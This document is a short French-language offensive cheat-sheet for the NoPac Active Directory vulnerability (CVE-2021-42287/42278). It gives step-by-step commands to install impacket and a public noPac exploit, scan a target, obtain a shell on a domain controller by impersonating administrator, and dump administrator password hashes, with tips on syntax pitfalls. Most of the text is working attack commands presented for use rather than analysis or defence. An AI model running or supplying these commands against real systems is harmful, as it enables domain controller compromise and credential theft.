NoPac (Sam AccountName Spoofing)
CVE | 2021-42287 et 2021-42278 |
Correctif fixant la vulnérabilité | CU 2021-11 |
Eléments nécessaires à l'exploitation
- MAJ Windows appliquées inférieures à 2021-11
ms-DS-MachineAccountQuota
doit être supérieur à 0 pour nous permettre de créer un compte d'ordinateur
Exploitation
Installation de l'outil
# installer impacket
git clone https://github.com/SecureAuthCorp/impacket.git
python setup.py install
# cloner le dépot de l'exploit
git clone https://github.com/Ridter/noPac.git
Lancement du scanner pour vérifier si la cible est vulnérable
sudo python3 scanner.py $AD_DOMAIN/$AD_USER:$AD_PASSWORD -dc-ip $TARGET_IP -use-ldap
Obtention d'un shell sur le controlleur de domaine
sudo python3 noPac.py $AD_DOMAIN/$AD_USER:$AD_PASSWORD -dc-ip $TARGET_IP -dc-host $DC_HOSTNAME -shell --impersonate administrator -use-ldap
On pourra utiliser différents shells à l'aide des paramètres suivants :
-exec-method smbexec
-exec-method wmiexec
-exec-method mmcexec
Message d'erreur possible :
[-] Pls use full domain name, such as: domain.com/username
Ce message apparaît si le nom du domaine saisit n'est pas écrit en majuscule apparemment (pas eu le temps de chercher la cause de ce problème)
Dump de Hash
Attention aux subtilités
- noPac.py prend en premier paramètre les identifiants d'un utilisateurs du domaine préfixés par le nom de domaine DNS
- a l'inverse, le paramètre -just-dc-user ne retourne un résultat que si on préfixe l'utilisateur par le nom de domaine NETBIOS
sudo python noPac.py DOMAIN.DNS.LOCAL/$AD_USER:$AD_PASSWORD -dc-ip $TARGET_IP -dc-host domainControllerHostname --impersonate administrator -dump -just-dc-user NETBIOS_DOMAIN/administrator -just-dc